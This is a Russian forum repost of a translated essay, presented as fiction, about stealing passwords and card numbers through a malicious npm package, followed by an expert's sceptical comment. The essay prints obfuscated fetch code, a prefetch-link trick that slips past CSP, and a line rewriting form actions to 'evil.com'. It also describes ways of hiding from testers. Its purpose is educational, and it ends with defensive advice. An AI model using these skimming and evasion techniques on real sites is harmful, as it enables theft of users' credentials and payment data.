Оффтоп Я могу украсть данные карт и пароли с ваших сайтов. Это проще, чем вы думаете

basil

Premium Lite
Регистрация
7 Мар 2017
Сообщения
87
Реакции
217
Новый год для специалистов по кибербезопасности начался с новостей о серьезной уязвимости в процессорах Intel, позволяющей получить доступ к любым чувствительным данным. На днях австралийский разработчик Дэвид Гилбертсон описал гипотетический сценарий того, как такие же данные (пароли, информацию о кредитках) можно красть с меньшими усилиями и без страха быть обнаруженным. Его рассказ — выдумка, но сам разработчик уверяет, что все описанные методы — вполне рабочие.

Все последующее — чистая правда. Или же базируется на правде. Или же вообще неправда.

Прошлая неделя была посвящена горячечному поиску всяческих страшилок, связанных с безопасностью — как будто каждый день открывают какую-то новую уязвимость. Мне было по-настоящему сложно притворяться, что я знаю, в чем дело, когда семья выспрашивала у меня подробности. Видение того, как близкие люди боятся взлома, дало мне определенный угол зрения на этот вопрос.

Так что с тяжелым сердцем я решил признаться во всем и рассказать, как я крал логины, пароли и номера кредиток с ваших сайтов за последние годы.

Вредоносный код очень прост. Он лучше всего справляется на страницах, которые отвечают некоторым критериям:

  • у страницы есть <form>
  • элемент, соответствующий input[type=’password’] или name=’cardnumber’, или name=’cvc’, и т.д.
  • страница содержит слова вроде «кредитная карта», «чекаут», «логин», «пароль» и т.д.
Затем, если что-то происходит с полем «пароль/карта», или submit, мой код:

  • берет все данные изо всех полей (document.forms.forEach(…))
  • собирает document.cookie
  • превращает это все в рандомно выглядящую строку const payload = btoa(JSON.stringify(sensitiveUserData))
  • и высылает на `https://legit-analytics.com?q=${payload}` (конечно, указан ненастоящий домен)
Когда я только написал этот код еще в 2015 году, он без пользы валялся у меня на компьютере. Мне нужно было запустить его в мир, к вашим сайтам. Согласно мудрым словам от Google: «Если атакующий успешно внедрит какой-то код, все пропало».

XSS — слишком мелкий масштаб, да и защищен. Дополнения Chrome слишком закрыты.

На мою удачу, мы живем в то время, когда люди устанавливают npm-пакеты с такой же легкостью, как глотают обезболивающее.

Итак, моим каналом распространения должен был стать npm (Node.js Package Manager — ред.). Мне нужно было придумать что-то очень полезное, что люди ставили бы без раздумий — моего троянского коня.

Пользователям нравятся яркие цвета, так что я написал пакет, позволяющий логиниться в консоль с текстом любого цвета (вот исходник):

1_ePuviAguE9BPZ2GgdY8UXg.png


Пакет вышел симпатичным, но мне не хотелось ждать, пока люди сами откроют его, поэтому я создал несколько сотен аккаунтов для PR, и начал писать в комментариях всяческим фронтенд-пакетам: «Гляньте, я пофиксил х, и также добавил цветной логин». Так я еще и присоединился к opensource!

Оказалось, что существует множество разумных людей, которым это было не нужно, но это все — дело чисел. Ведь в целом моя кампания с цветной консолью стала успешной, и сейчас мой пакет напрямую зависим от 23 пакетов. Из них один связан с очень популярным пакетом — моей курицей, которая будет нести золотые яйца. Не буду называть имен. Это всего лишь один пакет, а я готовлю еще 6.

У меня — около 120 000 загрузок в месяц, и я с гордостью сообщаю, что мой вредный код каждодневно исполняется на тысячах сайтов, включая некоторые из топ-1000 по версии Alexa. Мне поступают потоки логинов, паролей, данных кредиток.

Оглядываясь на то золотое время, не могу поверить, что существует такой объем межсайтового скриптинга на каждом отдельном сайте. Так просто засунуть вредный код в тысячи сайтов, с небольшой помощью друзей-разработчиков.

Вы могли бы раскритиковать мое нагнетание паники этими аргументами:

  • Я бы заметил исходящие сетевые запросы. Вопрос в том, когда именно? Мой код не будет высылать ничего, как только запускаются любые инструменты разработчика. Я называю это маневром Гейзенберга: пытаясь наблюдать поведение моего кода, вы меняете поведение моего кода (отсылка к принципу неопределенности Гейзенберга касательно наблюдения характеристик частиц — ред.). Мой код тише воды и тогда, когда выполняется на localhost или любом IP-адресе, или на любом домене, содержащем dev, test, qa, uat и т.д.
  • Наши тестеры заметили бы это в своих инструментах мониторинга HTTP. Да, но со скольки и до скольки они на работе? Мой код ничего не высылает с 7:00 утра и до 19:00 вечера. Конечно, добычи меньше, но и риски быть пойманным за руку уменьшаются. А если я однажды уже получил данные для устройства, я это отмечаю и никогда не повторяю запрос. Даже если какой-то вдумчивый тестер постоянно чистит куки и локальную память, я высылаю эти запросы периодически и слегка нерегулярно. А мой URL выглядит примерно так же, как и 300 других запросов к рекламным сетям, которые выполняет ваш сайт. Суть в том, что если вы этого не видите, это не означает, что оно не происходит. Прошло уже два года и насколько я знаю, никто меня пока не заметил.
  • Я бы заметил это в твоих исходниках на GitHub. Но ведь никто не мешает закинуть одну версию кода на GitHub, а вторую — в npm. В package.json я прописал принадлежность файлов к /lib directory, содержащему вредный код — именно это я и буду высылать в npm. Но сама библиотека — в моем .gitignore, это — довольно распространенная практика, так что вам ничто не покажется подозрительным. Даже если я не раздаю разные версии в npm и GitHub, кто сказал, что то, что вы видите в /lib/package.min.js — это настоящий результат minifying /src/package.js?
  • Я читаю миницифированные исходники всего кода в модулях node_modules! Так, сейчас вы просто начинаете выдумывать возращения. Но, возможно, вы просто написали что-то умное для автоматической проверки кода на подозрительные вещи. Вы все равно ничего не найдете. В моем коде нет совпадений по домену, на который высылаются данные, или XMLHttpRequest, он выглядит так:
    1 const i = ‘gfudi’;

    2 const k = s => s.split(‘’).map(c => String.fromCharCode(c.charCodeAt() — 1)).join(‘’);

    3 self[k(i)](urlWithYourPreciousData); Здесь gfudi — это то же зашифрованное слово fetch, где каждая буква сдвинута на одну позицию в алфавите (нешутейные криптографические навыки). self на самом деле обозначает «окно». Так что self[‘\u0066\u0065\u0074\u0063\u0068’](…) — это еще один способ написать fetch(…). Отмечу, что на самом деле я не использую ничего столь банального, как fetch, мне больше нравится EventSource(urlWithYourPreciousData). Таким образом, даже если вы — параноик и мониторите исходящие запросы с помощью serviceWorker, я останусь незамеченным.

  • У меня есть политика безопасности контента (CSP). Разве это помешает вредоносному коду высылать данные? Ниже идут четыре строчки кода, которые проскользнут сквозь любые жесткие правила:

    1 const linkEl = document.createElement(‘link’);

    2 linkEl.rel = ‘prefetch’;

    3 linkEl.href = urlWithYourPreciousData;

    4 document.head.appendChild(linkEl);

    Но CSP не полностью бесполезны. Код выше работает только в Chrome и качественный CSP мог бы заблокировать мои усилия в менее популярных браузерах. CSP может попытаться ограничивать то, какие именно сетевые запросы выполняются из браузера. Если я попытаюсь выслать данные с сайта, где есть CSP, он в свою очередь попытается уведомить владельца сайта о неудачной попытке запроса (если в нем указан report-uri). Поскольку я не хочу привлекать внимания, я проверю ваш CSP, прежде чем пытаться что-то выслать. Для этого я сфабрикую запрос к текущей странице и прочту хедеры.

    1 fetch(document.location.href)

    2 .then(resp => {

    3 const csp = resp.headers.get(‘Content-Security-Policy’);

    4 // does this exist? Is is any good?

    5 });

    На этом этапе я могу поискать дыры в вашем CSP. К примеру, у страницы логина Google — довольно плохой CSP, он позволит мне получить и ваш логин, и ваш пароль. Они не настроили connect-src и default-src. У Amazon вообще нет CSP на странице, куда вы вбиваете номер своей кредитки, как и у eBay. У Twitter и PayPal есть CSP, но и в этом случае украсть данные довольно просто. Они допустили одну и ту же ошибку. Они настроили catch-all default-src, но и там есть дыры: они не заблокировали действия с form action. Так что, если я проверяю ваш CSP и вижу, что так и есть, я просто меняю атрибут action во всех ваших формах с помощью Array.from(document.forms).forEach(formEl => formEl.action = ‘//evil.com/bounce-form’); Этот трюк лучше использовать один раз для каждого устройства.
И как этого избежать?
Вариант 1. Уехать в уединенный домик в лесу.

Вариант 2. Не используйте npm-модули на любой странице, собирающей пользовательские данные. Или Google Tag Manager, или код рекламных сетей, или код аналитики — любой код, который не ваш. Возможно, вам стоит подумать о том, чтобы использовать специально выделенные легкие страницы iFrame для авторизации и сбора данных о картах.

Можно продолжать пользоваться старым-добрым React-приложением со 138 npm-пакетами для header/footer/nav/ — где угодно. Но кусок сайта, куда ваш пользователь вбивает данные, должен быть песочницей iFrame и работать только на JavaScript собственного написания, если вы хотите валидировать данные пользователь на своей стороне.

Скоро я запощу отчет за 2017 год, где укажу свои доходы от кражи номеров кредитных карт и продажи их гангстерам.

Замечание: Понимаю, что мой неустанный сарказм может кого-то выбесить, особенно — людей, которые все еще учат английский. Просто, чтобы пояснить: я не писал npm-пакет, крадущий информацию. Этот пост — выдумка от начала и до конца, но полностью реализуемая. Я написал это в образовательных целях. Позже, в следующем посте я укажу, как избежать этих рисков с минимальными затратами.

------ коммент експерта ------

Статья хороша рекомендацией не загружать на страницах с паролями скрипты, которые писались кем-то сторонним (правда, с песочницей iframe нужно быть аккуратным).

Наивные способы скрыть обращение по некой ссылке быстро вскроются антивирусными компаниями и тем же Гуглом. И дальше сначала быстренько заблокируют возможность обращения к ней. Потом, через инструменты для вебмастеров, просигналят о заражении владельцам сайтов и виновник торжества (красивый console.log) быстро найдется и будет удален.

Даже если активировать отправку сообщений не сразу, чтобы заразилось побольше сайтов, эвристика антивирусов (и того же Гугла) скорее всего, распознает такой примитивный зловред. Или разницу между npm и github обнаружат и прицельно расковыряют все эти String.fromCharCode(c.charCodeAt()

В общем, жути нагонять не стоит. Шансы, что зловред через npm пролезет на страницу авторизации популярного сервиса, не очень большие. А уж на страницу, где принимаются данные кредитки - тем более. И надеяться на авось, что какой-то интересный сервис вдруг поставит на серьюрную страницу какую-то кривулину из npm до того, как зловред будет найден, будет слишком уж наивно.
Спам с фишингом проживет столько же, но гарантировано охватит большую аудиторию, если правильно его доставлять. И его можно отправлять хоть по 10 раз в день с разными ссылками, если что-то пошло не так.

А если уж удалось как-то протянуть свой зловред в виде скрипта на страницы сайтов, то там есть где разгуляться и с большим выхлопом, чем ждать ввода пароля или данных кредитки.

И npm это далеко не самый вероятный способ получить такой скрипт к себе на сайт. Вот только он, скорее всего, будет не пароли воровать, а тихонько майнить какой-нибудь монеро, не загружая процессор особо сильно. Еще и в фоновом режиме, если совсем не повезет.
 

Назад
Сверху